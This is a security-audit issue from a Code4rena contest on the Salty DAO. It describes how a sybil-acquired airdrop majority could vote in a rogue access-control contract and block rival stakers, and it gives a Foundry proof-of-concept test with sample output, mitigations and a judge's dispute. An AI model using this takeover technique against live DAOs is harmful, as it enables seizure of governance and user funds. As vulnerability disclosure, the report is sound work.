code-423n4 / 2024-01-salty-findings

11 stars 6 forks source link

DAO can be hijacked by an exploiter who gets a large share of the airdrop (i.e. through a sybil attack) by replacing the AccesManager contract #798

Open c4-bot-6 opened 9 months ago

c4-bot-6 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/ExchangeConfig.sol#L74 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/Staking.sol#L43

Vulnerability details

DAO can be hijacked by an exploiter who gets a large share of the airdrop (i.e. through a sybil attack) by replacing the AccesManager contract

Github Links

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/AccessManager.sol#L74C14-L74C30 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/ExchangeConfig.sol#L74 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/Staking.sol#L43

Impact

High Level

An exploiter who gets a large share of airdropped SALT (using bots to spam the airdrop for example) can later dominate the DAO permanently by voting to change the AccessControl contract to a contract they control and then blocking further staking that can jeopardize their voting dominance.

details

  1. The criteria for airdrop eligibility is being in a permitted geo location, tweeting about the airdrop and voting on the bootstrap ballot. This introduces the risk of an airdrop sybil attack - meaning an exploiter can use a twitter bot network/multiple addresses to get a dominant share of the airdrop token. This type of attack is not uncommon in airdrops (see example here) and since Salty's bootstrap ballot does not require a minimum number of participants, will be easier/cheaper to achieve the less participants there are in the airdrop.

  2. An exploiter who achieves ownership of a large share of airdropped XSalt will receive the funds immediately when the system is launched and can use them to vote on changing the AccessManager contract, which effectively gives them a way to maintain voting dominance by monitoring the mempool for Salt staking transactions and blocking them if the staked Salt amount causes them to lose voting dominance.

  3. Considering the time delays to achieve an AccessManager contract change (45 days before ballots can be opened + 10 days for first ballot + 10 days for confirmation ballot = 65 days) and the rate of SALT emissions to recipients, it can be shown (see POC below) that with a large airdrop share (~>53%) it is impossible to block the change proposal, and unlikely even with a smaller share (>=30%).

The following attack scenario and POC demonstrate how this can be done:

exploit scenario

  1. An exploiter manages to gain control of a large share of the airdrop funds by using multiple twitter accounts/addresses (66% in the POC).

  2. After the 45 days required to propose a ballot, the exploiter proposes a setContract ballot to replace the AccessControl contract. This will require an additional 20 days, 10 to pass the initial proposal, and another 10 to pass the proposal confirmation ballot, bringing the period the exploiter needs to maintain voting dominance to a total of 65 days.

  3. The POC below shows how an exploiter with a majority XSalt at the time of the airdrop can maintain voting majority after 65 days. This is shown by calculating the ratio of exploiter XSalt to the maximum amount of available XSalt/Salt that can be used to oppose the proposal, at the time of each vote. The maximum amount includes: all airdropped XSalt, all emitted staking and liquidity rewards at the time of each vote and all team vested Salt distribution (considering the team may use these fund to vote against the proposal). Dao vested allocation was excluded since the DAO can't vote directly and will require a separate ballot to transfer its funds to someone who can vote.

  4. In the POC the exploiter starts with 66.6% of the airdrop Salt, and maintains 64.65% majority by the time the AccessControl contract is replaced. This indicates that an even smaller majority (estimated around 53%) will maintain >50% voting power that guarantees the exploit. In reality, even less voting power may be enough (as little as the 30% quorum required to pass a setContract) given that voter participation (especially at the early days of the DAO) is typically not very high and that not all Salt emitted rewards will be collected.

  5. Once the ballot is approved, the attacker can use the rogue AccessControl contract to block any further staking that might jeopardize their dominance. To do this, the rogue AccessControl contract can have a "block(wallet)" transaction (available to the exploiter only) that causes the AM to report false on walletHasAccess for a specific wallet. The exploiter can send this transaction to front run any Salt staking transaction of an amount that puts their voting dominance at risk.

  6. At this point the attacker controls the system and has the capacity for exploits such as: propose and approve sending all DAO salt to themselves, whitelist rogue tokens that enable exploiting user funds etc.

  7. If/when other users (airdrop users or new Salty users) notice the exploit, the only remedy is to restart DAO from scratch, effectively DOSing Salty for the duration of time it will take to change the code and run a new bootstrap ballot.

Proof of Concept

The following POC shows how with 3 airdrop participants (for simplicity) if two are controlled by an exploiter (i.e. 66.6% of the airdrop) they can guarantee maintaining their majority (by collecting and staking all rewards available to them before each vote) long enough to change the AccessControl contract and secure permanent control of the DAO. Permanent control is achieved by causing staking transactions to fail when they see fit, using the set rogue AccessControl contract, controlled by the exploiter.

Running the POC

  1. Add the following import and contract definition at the top of '2024-01-salty\src\scenario_tests\Comprehensive1.t.sol'
    
    import "../interfaces/IAccessManager.sol";

contract RogueAccessManager is IAccessManager { mapping(address => bool) private _blockWallets; address private owner; constructor( address _owner ) { owner = _owner; } function excludedCountriesUpdated() external {

}
function grantAccess(bytes calldata signature) external {
    //do nothing
}
function changeUserBlockState(address wallet, bool val) external  {
    //ACL to permit only the exploiter to run this function
    require(msg.sender==owner, "not owner");
    _blockWallets[wallet] = val;
}

//this enables the exploiter to allow/block users from adding liquidity/staking at will
function walletHasAccess(address wallet) external view returns (bool) {
    return !_blockWallets[wallet];
}

// Views
function geoVersion() external view returns (uint256) {
    return 1;
}

}


2. At the top of the TestComprehensive1 contract definition in '2024-01-salty\src\scenario_tests\Comprehensive1.t.sol', add the following line:
```solidity
RogueAccessManager public rogueAccessManager = new RogueAccessManager(alice);
  1. Add to following functions to the TestComprehensive1 contract in '2024-01-salty\src\scenario_tests\Comprehensive1.t.sol'

    
    function testAirdropHijackExploit() public {
    // Cast votes for the BootstrapBallot so that the initialDistribution can happen
    bytes memory sig = abi.encodePacked(aliceVotingSignature);
    vm.prank(alice);
    bootstrapBallot.vote(true, sig);
    
    sig = abi.encodePacked(bobVotingSignature);
    vm.prank(bob);
    bootstrapBallot.vote(true, sig);
    
    sig = abi.encodePacked(charlieVotingSignature);
    vm.prank(charlie);
    bootstrapBallot.vote(false, sig);
    
    // Finalize the ballot to distribute SALT to the protocol contracts and start up the exchange
    vm.warp( bootstrapBallot.completionTimestamp() );
    bootstrapBallot.finalizeBallot();
    
    // Have alice, bob and charlie claim their xSALT airdrop
    vm.prank(alice);
    airdrop.claimAirdrop();
    vm.prank(bob);
    airdrop.claimAirdrop();
    vm.prank(charlie);
    airdrop.claimAirdrop();
    
    //Alice and Bob are the same entity that aims to hijack the dao.
    //The exploiter passes a vote to change the access manager to a contract they control
    
    //warp the initial 45 days required to propose a ballot
    vm.warp(block.timestamp + 60*60*24*45 + 1);
    
    //Exploiter (alice/bob) proposes to change the AccessManager to the rogue contract  
    vm.prank(alice);
    uint256 ballotID = proposals.proposeSetContractAddress("accessManager",address(rogueAccessManager),"");
    
    //Vote and finalize the first (setContract) ballot. Also claims and stakes all rewards for the exploiter and forwards 10 days
    voteAndFinalize(ballotID);
    
    //Show the exploiter voting power at this point in time
    console2.log("Exploiter Voting Power First Vote:");
    printVoteDominance(ballotID, 55);
    //OUTPUT:
    // Exploiter Voting Power First Vote:
    //Exploiter Votes: 3353333333333333333333332, Total Potential Votes 5115188493150684931506844 Ratiox10000 6555
    
    //Vote and finalize the second (setContractConfirm ballot. Also claims and stakes all rewards for the exploiter and forwards 10 days
    voteAndFinalize(ballotID+1);
    
    //Show the exploiter voting power at this point in time
    console2.log("Exploiter Voting Power Second Vote:");
    printVoteDominance(ballotID+1,65);
    //OUTPUT:
    // Exploiter Voting Power Second Vote:
    //Exploiter Votes: 3373172775564409030544486, Total Potential Votes 5217204074842277998196586 Ratiox10000 6465
    
    //Show that AccessControl was indeed changed to the rogue contract
    assertEq(address(exchangeConfig.accessManager()),address(rogueAccessManager));
    
    //from this point on the exploiter can maintain dao dominance by front running any staking tx that threatens their majority
    //with a block user transaction to their rouge access control contract, which will prevent the stake.
    
    //charlie tries to stake half of his available SALT
    vm.startPrank(charlie);
    bytes32[] memory pools = new bytes32[](1);
    staking.claimAllRewards(pools);
    salt.approve(address(staking), type(uint256).max);
    uint256 stakeAmount = salt.balanceOf(charlie) /2;
    
    //staking first half suceeds
    staking.stakeSALT(stakeAmount);
    vm.stopPrank();
    
    //stake the second half fails because alice decides to block it
    vm.prank(alice);
    rogueAccessManager.changeUserBlockState(charlie,true);
    
    vm.expectRevert( "Sender does not have exchange access" );
    vm.prank(charlie);
    staking.stakeSALT(stakeAmount);
    }

function printVoteDominance(uint256 ballotID, uint256 daysSinceStart) public {

//get the exploiter's voting power (XSalt). The exploiter (alice/bob) is the only one voting YES
uint256 yesVotes = proposals.votesCastForBallot(ballotID,Vote.YES);
bytes32[] memory pools = new bytes32[](1);

//calculate the ratio of exploiter votes (XSalt) to all XSalt (or salt that can be staked and used for voting)
uint256 potentialVotes = yesVotes +                                         //total XSalt of exploiter
                        staking.userShareForPool(charlie,0) +               //Xsalt of all other airdrop users
                        salt.balanceOf(address(collateralAndLiquidity)) +   //LP rewards already emitted
                        staking.totalRewardsForPools(pools)[0] +            //all unclaimed staking rewards
                        10 * 1000000 ether * daysSinceStart / 36500;        //All team vested Salt  

uint256 exploiterVotingPowerRatio = yesVotes * 10000 / potentialVotes;

console2.log("Exploiter Votes: %s, Total Potential Votes %s Ratiox10000 %s\n",
        yesVotes,
        potentialVotes,
        exploiterVotingPowerRatio);

}

//Passes a vote for the expoiter: function voteAndFinalize(uint256 ballotID) internal { vm.warp(block.timestamp + 606024*10 + 13); //Warp 10 days (minimum voting time) upkeep.performUpkeep(); //Perform upkeep to make sure all scheduled rewards are emitted voteMaxForUser(alice,ballotID); //Have both alice and bob stake all pending rewards and vote
voteMaxForUser(bob,ballotID); dao.finalizeBallot(ballotID); //Finalize Ballot }

function voteMaxForUser(address user, uint256 ballotID) internal { vm.startPrank(user); bytes32[] memory pools = new bytes32; staking.claimAllRewards(pools); salt.approve(address(staking), type(uint256).max); staking.stakeSALT(salt.balanceOf(user)); proposals.castVote(ballotID,Vote.YES); vm.stopPrank(); }



4. Run COVERAGE="yes" NETWORK="sep" forge test -vvv --rpc-url YOUR_RPC_URL --match-test "testAirdropHijackExploit"

## Tools Used
Foundry

## Recommended Mitigation Steps
Several measures can be taken to prevent/reduce the risk of this exploit:
1. Changing the ratio between the initial airdrop amount and other SALT rewards/distributions so that the available SALT after 65 days will be enough to outweigh the airdrop voting power.
2. Require a higher quorum/acceptance majority to change the AccessControl contract, at least in the early stages of the DAOs existence (when Salt circulation is still low).
3. Require a minimum number of airdrop participants for bootstrap Ballot acceptance (to avoid initial concentration and increase the cost of  sybil attacks of the airdrop).

## Assessed type

Other
c4-judge commented 9 months ago

Picodes changed the severity to QA (Quality Assurance)

Picodes commented 9 months ago

Downgrading to QA as this is more a criticism of the airdrop design than a security finding

nirohgo commented 8 months ago

hey @Picodes , I disagree that this finding is nothing but criticism on the airdrop design. The core of the issue is that an entity that gains a majority voting power at a given point in time can use that power to gain permanent control over the DAO (shown in the POC). The airdrop is brought here to show a scenario where gaining such a majority is relatively likely (though there could be other scenarios). Most DAO designs (including SALTY's) place limitations on what a DAO can do with a majority vote. Spefically, barriers that prevent a temporary majority entity from cementing their majority (granting themselves permanent control over the dao which goes against the whole purpose of a DAO).

Picodes commented 8 months ago

@nirohgo I apologize but I still don't see the point. You are saying that whales could take over a DAO but this is the case everywhere, no? And like if you have a majority of the votes you should be able to pull the funds out and basically do anything as you are the sole owner of the DAO?

I understand that you advocate for stricter control of this and would like to make sure the majority isn't "temporary" but do not see how this is a security finding.